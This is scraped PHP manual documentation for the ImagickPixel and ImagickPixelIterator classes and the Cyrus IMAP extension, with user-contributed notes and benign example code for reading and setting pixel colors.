bool ImagickDraw::translate ( float $x , float $y )
Warning

This function is currently not documented; only its argument list is available.

Applies a translation to the current coordinate system which moves the coordinate system origin to the specified coordinate.

Parameters

x

horizontal translation

y

vertical translation

Return Values

No value is returned.

User Contributed Notes

There are no user contributed notes for this page.


The ImagickPixel class

(PECL imagick 2.0.0)

Class synopsis

ImagickPixel {
bool clear ( void )
__construct ([ string $color ] )
bool destroy ( void )
array getColor ([ bool $normalized = false ] )
string getColorAsString ( void )
int getColorCount ( void )
float getColorValue ( int $color )
array getHSL ( void )
bool isPixelSimilar ( ImagickPixel $color , float $fuzz )
bool isSimilar ( ImagickPixel $color , float $fuzz )
bool setColor ( string $color )
bool setColorValue ( int $color , float $value )
bool setHSL ( float $hue , float $saturation , float $luminosity )
}

Table of Contents

  • ImagickPixel::clear — Clears resources associated with this object
  • ImagickPixel::__construct — The ImagickPixel constructor
  • ImagickPixel::destroy — Deallocates resources associated with this object
  • ImagickPixel::getColor — Returns the color
  • ImagickPixel::getColorAsString — Returns the color as a string
  • ImagickPixel::getColorCount — Returns the color count associated with this color
  • ImagickPixel::getColorValue — Gets the normalized value of the provided color channel
  • ImagickPixel::getHSL — Returns the normalized HSL color of the ImagickPixel object
  • ImagickPixel::isPixelSimilar — Check the distance between this color and another
  • ImagickPixel::isSimilar — Check the distance between this color and another
  • ImagickPixel::setColor — Sets the color
  • ImagickPixel::setColorValue — Sets the normalized value of one of the channels
  • ImagickPixel::setHSL — Sets the normalized HSL color

User Contributed Notes

There are no user contributed notes for this page.


Clears resources associated with this object

  • « ImagickPixel
  • ImagickPixel::__construct »
  • PHP Manual
  • ImagickPixel
  • Clears resources associated with this object

ImagickPixel::clear

(PECL imagick 2.0.0)

ImagickPixel::clear — Clears resources associated with this object

Description

bool ImagickPixel::clear ( void )
Warning

This function is currently not documented; only its argument list is available.

Clears the ImagickPixel object, leaving it in a fresh state. This also unsets any color associated with the object.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


The ImagickPixel constructor

  • « ImagickPixel::clear
  • ImagickPixel::destroy »
  • PHP Manual
  • ImagickPixel
  • The ImagickPixel constructor

ImagickPixel::__construct

(PECL imagick 2.0.0)

ImagickPixel::__construct — The ImagickPixel constructor

Description

ImagickPixel::__construct ([ string $color ] )
Warning

This function is currently not documented; only its argument list is available.

Constructs an ImagickPixel object. If a color is specified, the object is constructed and then initialised with that color before being returned.

Parameters

color

The optional color string to use as the initial value of this object.

Return Values

Returns an ImagickPixel object on success, throwing ImagickPixelException on failure.

User Contributed Notes

There are no user contributed notes for this page.


Deallocates resources associated with this object

  • « ImagickPixel::__construct
  • ImagickPixel::getColor »
  • PHP Manual
  • ImagickPixel
  • Deallocates resources associated with this object

ImagickPixel::destroy

(PECL imagick 2.0.0)

ImagickPixel::destroy — Deallocates resources associated with this object

Description

bool ImagickPixel::destroy ( void )
Warning

This function is currently not documented; only its argument list is available.

Deallocates any resources used by the ImagickPixel object, and unsets any associated color. The object should not be used after the destroy function has been called.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Returns the color

  • « ImagickPixel::destroy
  • ImagickPixel::getColorAsString »
  • PHP Manual
  • ImagickPixel
  • Returns the color

ImagickPixel::getColor

(PECL imagick 2.0.0)

ImagickPixel::getColor — Returns the color

Description

array ImagickPixel::getColor ([ bool $normalized = false ] )

Returns the color described by the ImagickPixel object, as an array. If the color has an opacity channel set, this is provided as a fourth value in the list.

Parameters

normalized

Normalize the color values

Return Values

An array of channel values, each normalized if TRUE is given as param. Throws ImagickPixelException on error.

Examples

Example #1 Basic Imagick::getColor() usage

<?php

//Create an ImagickPixel with the predefined color 'brown'
$color = new ImagickPixel('brown');

//Set the color to have an alpha of 25%
$color->setColorValue(Imagick::COLOR_ALPHA, 64 / 256.0);

$colorInfo = $color->getColor();

echo "Standard values".PHP_EOL;
print_r($colorInfo);

$colorInfo = $color->getColor(true);

echo "Normalized values:".PHP_EOL;
print_r($colorInfo);

?>

The above example will output:

Standard values
Array
(
    [r] => 165
    [g] => 42
    [b] => 42
    [a] => 0
)
Normalized values:
Array
(
    [r] => 0.64705882352941
    [g] => 0.16470588235294
    [b] => 0.16470588235294
    [a] => 0.25000381475547
)

User Contributed Notes

roman 11-May-2013 06:27
In case you use default un-normalized getColor value the alpha value will always be either 0 or 1.

If you want to use real full-range 0-1 alpha channel on your 24bit transparent images use the alpha value from the normalized one, even if you use the rest of unnormalized data.

To copy a 24bit png with real alpha transparency, you would have to do this:
<?php

$im=new Imagick( 'image.png' );
$iterator=$im->getPixelIterator();
foreach ($iterator as $row=>$pixels) {
    foreach ( $pixels as $column => $pixel ){
        $un_color=$pixel->getColor(); //unnormalized color
        $nor_color=$pixel->getColor(true); //normalized color
        $pixel->setColor('rgba('.$un_color['r'].','.$un_color['g'].','.$un_color['b'].','.$nor_color['a'].')');
    }
}
?>

If you use 'a' (alpha) value from the unnormalized color there will only be binary transparency.


Returns the color as a string

  • « ImagickPixel::getColor
  • ImagickPixel::getColorCount »
  • PHP Manual
  • ImagickPixel
  • Returns the color as a string

ImagickPixel::getColorAsString

(PECL imagick 2.1.0)

ImagickPixel::getColorAsString — Returns the color as a string

Description

string ImagickPixel::getColorAsString ( void )

Returns the color of the ImagickPixel object as a string.

Parameters

This function has no parameters.

Return Values

Returns the color of the ImagickPixel object as a string.

Examples

Example #1 Basic Imagick::getColorAsString() usage

<?php

//Create an ImagickPixel with the predefined color 'brown'
$color = new ImagickPixel('brown');

$color->setColorValue(Imagick::COLOR_ALPHA, 64 / 256.0);

$colorInfo = $color->getColorAsString();

print_r($colorInfo);
?>

The above example will output:

rgb(165,42,42)

Notes

Note: Alpha not returned

This function does not return the alpha value of the color in the string.

User Contributed Notes

There are no user contributed notes for this page.


Returns the color count associated with this color

  • « ImagickPixel::getColorAsString
  • ImagickPixel::getColorValue »
  • PHP Manual
  • ImagickPixel
  • Returns the color count associated with this color

ImagickPixel::getColorCount

(PECL imagick 2.0.0)

ImagickPixel::getColorCount — Returns the color count associated with this color

Description

int ImagickPixel::getColorCount ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the color count associated with this color.

Return Values

Returns the color count as an integer on success, throws ImagickPixelException on failure.

User Contributed Notes

There are no user contributed notes for this page.


Gets the normalized value of the provided color channel

  • « ImagickPixel::getColorCount
  • ImagickPixel::getHSL »
  • PHP Manual
  • ImagickPixel
  • Gets the normalized value of the provided color channel

ImagickPixel::getColorValue

(PECL imagick 2.0.0)

ImagickPixel::getColorValue — Gets the normalized value of the provided color channel

Description

float ImagickPixel::getColorValue ( int $color )

Retrieves the value of the color channel specified, as a floating-point number between 0 and 1.

Parameters

color

The color to get the value of, specified as one of the Imagick color constants. This can be one of the RGB colors, CMYK colors, alpha and opacity e.g (Imagick::COLOR_BLUE, Imagick::COLOR_MAGENTA).

Return Values

The value of the channel, as a normalized floating-point number, throwing ImagickPixelException on error.

Examples

Example #1 Basic Imagick::getColorValue() usage

<?php

$color = new ImagickPixel('rgba(90%, 20%, 20%, 0.75)');

echo "Alpha value is ".$color->getColorValue(Imagick::COLOR_ALPHA).PHP_EOL;
echo "".PHP_EOL;
echo "Red value is ".$color->getColorValue(Imagick::COLOR_RED).PHP_EOL;
echo "Green value is ".$color->getColorValue(Imagick::COLOR_GREEN).PHP_EOL;
echo "Blue value is ".$color->getColorValue(Imagick::COLOR_BLUE).PHP_EOL;
echo "".PHP_EOL;
echo "Cyan value is ".$color->getColorValue(Imagick::COLOR_CYAN).PHP_EOL;
echo "Magenta value is ".$color->getColorValue(Imagick::COLOR_MAGENTA).PHP_EOL;
echo "Yellow value is ".$color->getColorValue(Imagick::COLOR_YELLOW).PHP_EOL;
echo "Black value is ".$color->getColorValue(Imagick::COLOR_BLACK).PHP_EOL;

?>

The above example will output:

Alpha value is 0.74999618524453

Red value is 0.90000762951095
Green value is 0.2
Blue value is 0.2

Cyan value is 0.90000762951095
Magenta value is 0.2
Yellow value is 0.2
Black value is 0

User Contributed Notes

holdoffhunger at gmail dot com 06-Apr-2012 07:34
When getting a color value back with getColorValue, you are free to use any color scheme: either the Red/Green/Blue (RGB) scheme or the Cyan/Magenta/Yellow/blacK (CMYK) scheme.  For RGB, this function works with the constant values of "COLOR_RED", "COLOR_GREEN", and "COLOR_BLUE," and for CMYK, this function works with the constant values of "COLOR_CYAN", "COLOR_MAGENTA", "COLOR_YELLOW", and "COLOR_BLACK".  As a programmer, the main question you're probably asking yourself is "How do I know if one pixel's color is different from the others?"  That seems to be defined as a unique combination of RGB *or* CMYK values.  Each RGB set of values with have a unique set of CMYK values for only that set of RGB values, so an RGB of 1/0.5/0.5 with have a unique set of CMYK values, shared only by the other pixels of the same exact RGB values.

Why the CMYK?  Because that is the standard for printing, or to quote the Imagick site, "As such for printing we use four colored inks: Cyan, Magenta, Yellow, and blacK; and define images using these inks, to form a CMYK color space."  By being a "color space", you get the choice of working with either RGB or CMYK when defining a pixel as being unique among a set of pixels.  But you are completely free to go with either RGB or CMYK.  For more on it from the Imagick Site:

http://www.imagemagick.org/Usage/color_basics/

Some code that demonstrates both methods: (for a purple-ish red pixel)

<?php

        // Grab Pixel
        // ---------------------------------------------------

    $pixel_one = $imagick_type->getImagePixelColor(0,0);

        // Grab Alpha/Opacity Values
        // ---------------------------------------------------

    $pixel_one_color_value_alpha = $pixel_one->getColorValue(imagick::COLOR_ALPHA);
    $pixel_one_color_value_opacity = $pixel_one->getColorValue(imagick::COLOR_OPACITY);

        // Grab Red/Green/Blue (RGB) Values
        // ---------------------------------------------------

    $pixel_one_color_value_red = $pixel_one->getColorValue(imagick::COLOR_RED);
    $pixel_one_color_value_green = $pixel_one->getColorValue(imagick::COLOR_GREEN);
    $pixel_one_color_value_blue = $pixel_one->getColorValue(imagick::COLOR_BLUE);

        // Grab Cyna/Magenta/Yellow/blacK (CMYK) Values
        // ---------------------------------------------------

    $pixel_one_color_value_cyan = $pixel_one->getColorValue(imagick::COLOR_CYAN);
    $pixel_one_color_value_magenta = $pixel_one->getColorValue(imagick::COLOR_MAGENTA);
    $pixel_one_color_value_yellow = $pixel_one->getColorValue(imagick::COLOR_YELLOW);
    $pixel_one_color_value_black = $pixel_one->getColorValue(imagick::COLOR_BLACK);

        // Print Results
        // ---------------------------------------------------

    print("Alpha: $pixel_one_color_value_alpha<br>");
    print("Opacity: $pixel_one_color_value_opacity<br><br>");

    print("---------------------------------------------<br><br>");

    print("Red: $pixel_one_color_value_red<br>");
    print("Green: $pixel_one_color_value_green<br>");
    print("Blue: $pixel_one_color_value_blue<br><br>");

    print("Cyan: $pixel_one_color_value_cyan<br>");
    print("Magenta: $pixel_one_color_value_magenta<br>");
    print("Yellow: $pixel_one_color_value_yellow<br>");
    print("Black: $pixel_one_color_value_black<br><br>");

    /*
            Example Results : : :
            -----------------------

Alpha: 1
Opacity: 0

---------------------------------------------

Red: 1
Green: 0.501960784314
Blue: 0.501960784314

Cyan: 1
Magenta: 0.501960784314
Yellow: 0.501960784314
Black: 0

    */

?>
mwwaygoo AT hotmail DOT com 18-May-2010 12:56
QUOTE: $color   The channel to check, specified as one of the Imagick channel constants.

$color is a COLOR_* constant, not a channel constant

e.g.
<?php
$image=new Imagick();
$image->readImage('test.png');
$point=$image->getImagePixelColor(0,0);
echo ' Alpha:'.$point->getColorValue(imagick::COLOR_ALPHA);
echo ' Opacity:'.$point->getColorValue(imagick::COLOR_OPACITY);
echo ' R:'.$point->getColorValue(imagick::COLOR_RED);
echo ' G:'.$point->getColorValue(imagick::COLOR_GREEN);
echo ' B:'.$point->getColorValue(imagick::COLOR_BLUE);
?>


Returns the normalized HSL color of the ImagickPixel object

  • « ImagickPixel::getColorValue
  • ImagickPixel::isPixelSimilar »
  • PHP Manual
  • ImagickPixel
  • Returns the normalized HSL color of the ImagickPixel object

ImagickPixel::getHSL

(PECL imagick 2.0.0)

ImagickPixel::getHSL — Returns the normalized HSL color of the ImagickPixel object

Description

array ImagickPixel::getHSL ( void )

Returns the normalized HSL color described by the ImagickPixel object, with each of the three values as floating point numbers between 0.0 and 1.0.

Return Values

Returns the HSL value in an array with the keys "hue", "saturation", and "luminosity". Throws ImagickPixelException on failure.

Examples

Example #1 Basic Imagick::getHSL() example

<?php

$color = new ImagickPixel('rgb(90%, 10%, 10%)');

$colorInfo = $color->getHSL();

print_r($colorInfo);

?>

The above example will output:

Array
(
    [hue] => 0
    [saturation] => 0.80001220740379
    [luminosity] => 0.50000762951095
)

Notes

Note:

Available with ImageMagick library version 6.2.9 and higher.

User Contributed Notes

rio at rio dot st 07-Aug-2009 07:25
This function needs ImageMagick > 6.2.8

In imagickpixel_class.c
#if MagickLibVersion > 0x628
/* {{{ proto array ImagickPixel::getHSL()
        Returns the normalized HSL color of the pixel wand in an array with the keys "hue", "saturation", and "luminosity".
*/


Check the distance between this color and another

  • « ImagickPixel::getHSL
  • ImagickPixel::isSimilar »
  • PHP Manual
  • ImagickPixel
  • Check the distance between this color and another

ImagickPixel::isPixelSimilar

(No version information available, might only be in Git)

ImagickPixel::isPixelSimilar — Check the distance between this color and another

Description

bool ImagickPixel::isPixelSimilar ( ImagickPixel $color , float $fuzz )

Checks the distance between the color described by this ImagickPixel object and that of the provided object, by plotting their RGB values on the color cube. If the distance between the two points is less than the fuzz value given, the colors are similar. This method replaces ImagickPixel::isSimilar() and correctly normalises the fuzz value to ImageMagick QuantumRange.

Parameters

color

The ImagickPixel object to compare this object against.

fuzz

The maximum distance within which to consider these colors as similar. The theoretical maximum for this value is the square root of three (1.732).

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Check the distance between this color and another

  • « ImagickPixel::isPixelSimilar
  • ImagickPixel::setColor »
  • PHP Manual
  • ImagickPixel
  • Check the distance between this color and another

ImagickPixel::isSimilar

(PECL imagick 2.0.0)

ImagickPixel::isSimilar — Check the distance between this color and another

Description

bool ImagickPixel::isSimilar ( ImagickPixel $color , float $fuzz )
Warning

This function is currently not documented; only its argument list is available.

Checks the distance between the color described by this ImagickPixel object and that of the provided object, by plotting their RGB values on the color cube. If the distance between the two points is less than the fuzz value given, the colors are similar. Deprecated in favour of ImagickPixel::isPixelSimilar().

Parameters

color

The ImagickPixel object to compare this object against.

fuzz

The maximum distance within which to consider these colors as similar. The theoretical maximum for this value is the square root of three (1.732).

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Sets the color

  • « ImagickPixel::isSimilar
  • ImagickPixel::setColorValue »
  • PHP Manual
  • ImagickPixel
  • Sets the color

ImagickPixel::setColor

(PECL imagick 2.0.0)

ImagickPixel::setColor — Sets the color

Description

bool ImagickPixel::setColor ( string $color )
Warning

This function is currently not documented; only its argument list is available.

Sets the color described by the ImagickPixel object, with a string (e.g. "blue", "#0000ff", "rgb(0,0,255)", "cmyk(100,100,100,10)", etc.).

Parameters

color

The color definition to use in order to initialise the ImagickPixel object.

Return Values

Returns TRUE if the specified color was set, FALSE otherwise.

User Contributed Notes

There are no user contributed notes for this page.


Sets the normalized value of one of the channels

  • « ImagickPixel::setColor
  • ImagickPixel::setHSL »
  • PHP Manual
  • ImagickPixel
  • Sets the normalized value of one of the channels

ImagickPixel::setColorValue

(PECL imagick 2.0.0)

ImagickPixel::setColorValue — Sets the normalized value of one of the channels

Description

bool ImagickPixel::setColorValue ( int $color , float $value )

Sets the value of the specified channel of this object to the provided value, which should be between 0 and 1. This function can be used to provide an opacity channel to an ImagickPixel object.

Parameters

color

One of the Imagick color constants e.g. \Imagick::COLOR_GREEN or \Imagick::COLOR_ALPHA.

value

The value to set this channel to, ranging from 0 to 1.

Return Values

Returns TRUE on success.

Examples

Example #1 Basic Imagick::setColorValue() usage

<?php

$color  = new \ImagickPixel('firebrick');

$color->setColorValue(Imagick::COLOR_ALPHA, 0.5);

print_r($color->getcolor(true));
?>

The above example will output:

Array
(
    [r] => 0.69803921568627
    [g] => 0.13333333333333
    [b] => 0.13333333333333
    [a] => 0.50000762951095
)

User Contributed Notes

There are no user contributed notes for this page.


Sets the normalized HSL color

  • « ImagickPixel::setColorValue
  • ImagickPixelIterator »
  • PHP Manual
  • ImagickPixel
  • Sets the normalized HSL color

ImagickPixel::setHSL

(PECL imagick 2.0.0)

ImagickPixel::setHSL — Sets the normalized HSL color

Description

bool ImagickPixel::setHSL ( float $hue , float $saturation , float $luminosity )

Sets the color described by the ImagickPixel object using normalized values for hue, saturation and luminosity.

Parameters

hue

The normalized value for hue, described as a fractional arc (between 0 and 1) of the hue circle, where the zero value is red.

saturation

The normalized value for saturation, with 1 as full saturation.

luminosity

The normalized value for luminosity, on a scale from black at 0 to white at 1, with the full HS value at 0.5 luminosity.

Return Values

Returns TRUE on success.

Examples

Example #1 Use ImagickPixel::setHSL() to modify a color

<?php

//Create an almost pure red color
$color = new ImagickPixel('rgb(90%, 10%, 10%)');

//Get it's HSL values
$colorInfo = $color->getHSL();

//Rotate the hue by 180 degrees
$newHue = $colorInfo['hue'] + 0.5;
if ($newHue > 1) {
    $newHue = $newHue - 1;
}

//Set the ImagickPixel to the new color
$colorInfo = $color->setHSL($newHue, $colorInfo['saturation'], $colorInfo['luminosity']);

//Check that the new color is blue/green
$colorInfo = $color->getcolor();
print_r($colorInfo);

?>

The above example will output:

Array
(
    [r] => 26
    [g] => 230
    [b] => 230
    [a] => 255
)

Notes

Note:

Available with ImageMagick library version 6.2.9 and higher.

User Contributed Notes

There are no user contributed notes for this page.


The ImagickPixelIterator class

(PECL imagick 2.0.0)

Class synopsis

ImagickPixelIterator {
bool clear ( void )
__construct ( Imagick $wand )
bool destroy ( void )
array getCurrentIteratorRow ( void )
int getIteratorRow ( void )
array getNextIteratorRow ( void )
array getPreviousIteratorRow ( void )
bool newPixelIterator ( Imagick $wand )
bool newPixelRegionIterator ( Imagick $wand , int $x , int $y , int $columns , int $rows )
bool resetIterator ( void )
bool setIteratorFirstRow ( void )
bool setIteratorLastRow ( void )
bool setIteratorRow ( int $row )
bool syncIterator ( void )
}

Table of Contents

  • ImagickPixelIterator::clear — Clear resources associated with a PixelIterator
  • ImagickPixelIterator::__construct — The ImagickPixelIterator constructor
  • ImagickPixelIterator::destroy — Deallocates resources associated with a PixelIterator
  • ImagickPixelIterator::getCurrentIteratorRow — Returns the current row of ImagickPixel objects
  • ImagickPixelIterator::getIteratorRow — Returns the current pixel iterator row
  • ImagickPixelIterator::getNextIteratorRow — Returns the next row of the pixel iterator
  • ImagickPixelIterator::getPreviousIteratorRow — Returns the previous row
  • ImagickPixelIterator::newPixelIterator — Returns a new pixel iterator
  • ImagickPixelIterator::newPixelRegionIterator — Returns a new pixel iterator
  • ImagickPixelIterator::resetIterator — Resets the pixel iterator
  • ImagickPixelIterator::setIteratorFirstRow — Sets the pixel iterator to the first pixel row
  • ImagickPixelIterator::setIteratorLastRow — Sets the pixel iterator to the last pixel row
  • ImagickPixelIterator::setIteratorRow — Set the pixel iterator row
  • ImagickPixelIterator::syncIterator — Syncs the pixel iterator

User Contributed Notes

There are no user contributed notes for this page.


Clear resources associated with a PixelIterator

  • « ImagickPixelIterator
  • ImagickPixelIterator::__construct »
  • PHP Manual
  • ImagickPixelIterator
  • Clear resources associated with a PixelIterator

ImagickPixelIterator::clear

(PECL imagick 2.0.0)

ImagickPixelIterator::clear — Clear resources associated with a PixelIterator

Description

bool ImagickPixelIterator::clear ( void )
Warning

This function is currently not documented; only its argument list is available.

Clear resources associated with a PixelIterator.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


The ImagickPixelIterator constructor

  • « ImagickPixelIterator::clear
  • ImagickPixelIterator::destroy »
  • PHP Manual
  • ImagickPixelIterator
  • The ImagickPixelIterator constructor

ImagickPixelIterator::__construct

(PECL imagick 2.0.0)

ImagickPixelIterator::__construct — The ImagickPixelIterator constructor

Description

ImagickPixelIterator::__construct ( Imagick $wand )
Warning

This function is currently not documented; only its argument list is available.

The ImagickPixelIterator constructor

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Deallocates resources associated with a PixelIterator

  • « ImagickPixelIterator::__construct
  • ImagickPixelIterator::getCurrentIteratorRow »
  • PHP Manual
  • ImagickPixelIterator
  • Deallocates resources associated with a PixelIterator

ImagickPixelIterator::destroy

(PECL imagick 2.0.0)

ImagickPixelIterator::destroy — Deallocates resources associated with a PixelIterator

Description

bool ImagickPixelIterator::destroy ( void )
Warning

This function is currently not documented; only its argument list is available.

Deallocates resources associated with a PixelIterator.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Returns the current row of ImagickPixel objects

  • « ImagickPixelIterator::destroy
  • ImagickPixelIterator::getIteratorRow »
  • PHP Manual
  • ImagickPixelIterator
  • Returns the current row of ImagickPixel objects

ImagickPixelIterator::getCurrentIteratorRow

(PECL imagick 2.0.0)

ImagickPixelIterator::getCurrentIteratorRow — Returns the current row of ImagickPixel objects

Description

array ImagickPixelIterator::getCurrentIteratorRow ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the current row as an array of ImagickPixel objects from the pixel iterator.

Return Values

Returns a row as an array of ImagickPixel objects that can themselves be iterated.

User Contributed Notes

There are no user contributed notes for this page.


Returns the current pixel iterator row

  • « ImagickPixelIterator::getCurrentIteratorRow
  • ImagickPixelIterator::getNextIteratorRow »
  • PHP Manual
  • ImagickPixelIterator
  • Returns the current pixel iterator row

ImagickPixelIterator::getIteratorRow

(PECL imagick 2.0.0)

ImagickPixelIterator::getIteratorRow — Returns the current pixel iterator row

Description

int ImagickPixelIterator::getIteratorRow ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the current pixel iterator row.

Return Values

Returns the integer offset of the row, throwing ImagickPixelIteratorException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the next row of the pixel iterator

  • « ImagickPixelIterator::getIteratorRow
  • ImagickPixelIterator::getPreviousIteratorRow »
  • PHP Manual
  • ImagickPixelIterator
  • Returns the next row of the pixel iterator

ImagickPixelIterator::getNextIteratorRow

(PECL imagick 2.0.0)

ImagickPixelIterator::getNextIteratorRow — Returns the next row of the pixel iterator

Description

array ImagickPixelIterator::getNextIteratorRow ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the next row as an array of pixel wands from the pixel iterator.

Return Values

Returns the next row as an array of ImagickPixel objects, throwing ImagickPixelIteratorException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns the previous row

  • « ImagickPixelIterator::getNextIteratorRow
  • ImagickPixelIterator::newPixelIterator »
  • PHP Manual
  • ImagickPixelIterator
  • Returns the previous row

ImagickPixelIterator::getPreviousIteratorRow

(PECL imagick 2.0.0)

ImagickPixelIterator::getPreviousIteratorRow — Returns the previous row

Description

array ImagickPixelIterator::getPreviousIteratorRow ( void )
Warning

This function is currently not documented; only its argument list is available.

Returns the previous row as an array of pixel wands from the pixel iterator.

Return Values

Returns the previous row as an array of ImagickPixelWand objects from the ImagickPixelIterator, throwing ImagickPixelIteratorException on error.

User Contributed Notes

There are no user contributed notes for this page.


Returns a new pixel iterator

  • « ImagickPixelIterator::getPreviousIteratorRow
  • ImagickPixelIterator::newPixelRegionIterator »
  • PHP Manual
  • ImagickPixelIterator
  • Returns a new pixel iterator

ImagickPixelIterator::newPixelIterator

(PECL imagick 2.0.0)

ImagickPixelIterator::newPixelIterator — Returns a new pixel iterator

Description

bool ImagickPixelIterator::newPixelIterator ( Imagick $wand )
Warning

This function is currently not documented; only its argument list is available.

Returns a new pixel iterator.

Return Values

Returns TRUE on success. Throwing ImagickPixelIteratorException.

User Contributed Notes

There are no user contributed notes for this page.


Returns a new pixel iterator

  • « ImagickPixelIterator::newPixelIterator
  • ImagickPixelIterator::resetIterator »
  • PHP Manual
  • ImagickPixelIterator
  • Returns a new pixel iterator

ImagickPixelIterator::newPixelRegionIterator

(PECL imagick 2.0.0)

ImagickPixelIterator::newPixelRegionIterator — Returns a new pixel iterator

Description

bool ImagickPixelIterator::newPixelRegionIterator ( Imagick $wand , int $x , int $y , int $columns , int $rows )
Warning

This function is currently not documented; only its argument list is available.

Returns a new pixel iterator.

Parameters

wand

x

y

columns

rows

Return Values

Returns a new ImagickPixelIterator on success; on failure, throws ImagickPixelIteratorException.

User Contributed Notes

There are no user contributed notes for this page.


Resets the pixel iterator

  • « ImagickPixelIterator::newPixelRegionIterator
  • ImagickPixelIterator::setIteratorFirstRow »
  • PHP Manual
  • ImagickPixelIterator
  • Resets the pixel iterator

ImagickPixelIterator::resetIterator

(PECL imagick 2.0.0)

ImagickPixelIterator::resetIterator — Resets the pixel iterator

Description

bool ImagickPixelIterator::resetIterator ( void )
Warning

This function is currently not documented; only its argument list is available.

Resets the pixel iterator. Use it in conjunction with ImagickPixelIterator::getNextIteratorRow() to iterate over all the pixels in a pixel container.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Sets the pixel iterator to the first pixel row

  • « ImagickPixelIterator::resetIterator
  • ImagickPixelIterator::setIteratorLastRow »
  • PHP Manual
  • ImagickPixelIterator
  • Sets the pixel iterator to the first pixel row

ImagickPixelIterator::setIteratorFirstRow

(PECL imagick 2.0.0)

ImagickPixelIterator::setIteratorFirstRow — Sets the pixel iterator to the first pixel row

Description

bool ImagickPixelIterator::setIteratorFirstRow ( void )
Warning

This function is currently not documented; only its argument list is available.

Sets the pixel iterator to the first pixel row.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Sets the pixel iterator to the last pixel row

  • « ImagickPixelIterator::setIteratorFirstRow
  • ImagickPixelIterator::setIteratorRow »
  • PHP Manual
  • ImagickPixelIterator
  • Sets the pixel iterator to the last pixel row

ImagickPixelIterator::setIteratorLastRow

(PECL imagick 2.0.0)

ImagickPixelIterator::setIteratorLastRow — Sets the pixel iterator to the last pixel row

Description

bool ImagickPixelIterator::setIteratorLastRow ( void )
Warning

This function is currently not documented; only its argument list is available.

Sets the pixel iterator to the last pixel row.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Set the pixel iterator row

  • « ImagickPixelIterator::setIteratorLastRow
  • ImagickPixelIterator::syncIterator »
  • PHP Manual
  • ImagickPixelIterator
  • Set the pixel iterator row

ImagickPixelIterator::setIteratorRow

(PECL imagick 2.0.0)

ImagickPixelIterator::setIteratorRow — Set the pixel iterator row

Description

bool ImagickPixelIterator::setIteratorRow ( int $row )
Warning

This function is currently not documented; only its argument list is available.

Set the pixel iterator row.

Parameters

row

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Syncs the pixel iterator

  • « ImagickPixelIterator::setIteratorRow
  • Mail Related Extensions »
  • PHP Manual
  • ImagickPixelIterator
  • Syncs the pixel iterator

ImagickPixelIterator::syncIterator

(PECL imagick 2.0.0)

ImagickPixelIterator::syncIterator — Syncs the pixel iterator

Description

bool ImagickPixelIterator::syncIterator ( void )
Warning

This function is currently not documented; only its argument list is available.

Syncs the pixel iterator.

Return Values

Returns TRUE on success.

User Contributed Notes

There are no user contributed notes for this page.


Mail Related Extensions

  • Cyrus — Cyrus IMAP administration
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Cyrus Functions
  • IMAP — IMAP, POP3 and NNTP
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • IMAP Functions
  • Mail
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Mail Functions
  • Mailparse
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • Mailparse Functions
  • vpopmail
    • Introduction
    • Installing/Configuring
    • Predefined Constants
    • vpopmail Functions

User Contributed Notes

There are no user contributed notes for this page.


Cyrus IMAP administration

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Cyrus Functions
    • cyrus_authenticate — Authenticate against a Cyrus IMAP server
    • cyrus_bind — Bind callbacks to a Cyrus IMAP connection
    • cyrus_close — Close connection to a Cyrus IMAP server
    • cyrus_connect — Connect to a Cyrus IMAP server
    • cyrus_query — Send a query to a Cyrus IMAP server
    • cyrus_unbind — Unbind ...

User Contributed Notes

Carter_ 08-Feb-2014 01:57
Unfortunately http://www.web-cyradm.org/ is down now
mail+php at jensge dot org 14-Jan-2014 07:44
The cyradm.php included in web-cyradm is rather fragile and doesn't work with recent php releases anymore
baldur [at] baldur [dot] biz 02-Mar-2009 11:05
If you have problems using this package you might want to take a look at web-cyradmin (http://www.web-cyradm.org/). It has a PHP class called cyradm located in the lib/ folder that has methods for most or all functions you might need to perform in cyrus. (Version of web-cyradmin is 0.5.4 as of writing). Example:

<?php
require_once("cyradm.php");

$GLOBAL['CYRUS']['HOST'] = "localhost"; // or wherever you keep your cyrus server
$GLOBAL['CYRUS']['PORT'] = 143; // or the port you use for IMAP traffic
$GLOBAL['CYRUS']['ADMIN'] = "cyrus"; // the cyrus admin
$GLOBAL['CYRUS']['PASS'] = "secret"; // password for admin

$cyradm = new cyradm();
$cyradm->imap_login();
$cyradm->createmb("user.username@domain.tld");
$cyradm->imap_logout();
?>


Introduction

Note: This extension is not available on Windows platforms.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.0.0.

User Contributed Notes

There are no user contributed notes for this page.


Installation

To enable Cyrus IMAP support and to use these functions you have to compile PHP with the --with-cyrus option.

Warning

The IMAP, recode, YAZ and Cyrus extensions cannot be used in conjuction, because they share the same internal symbols. Note: Yaz 2.0 and above does not suffer from this problem.

User Contributed Notes

There are no user contributed notes for this page.


Resource Types

This extension defines a Cyrus IMAP connection identifier returned by cyrus_connect().

User Contributed Notes

There are no user contributed notes for this page.


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

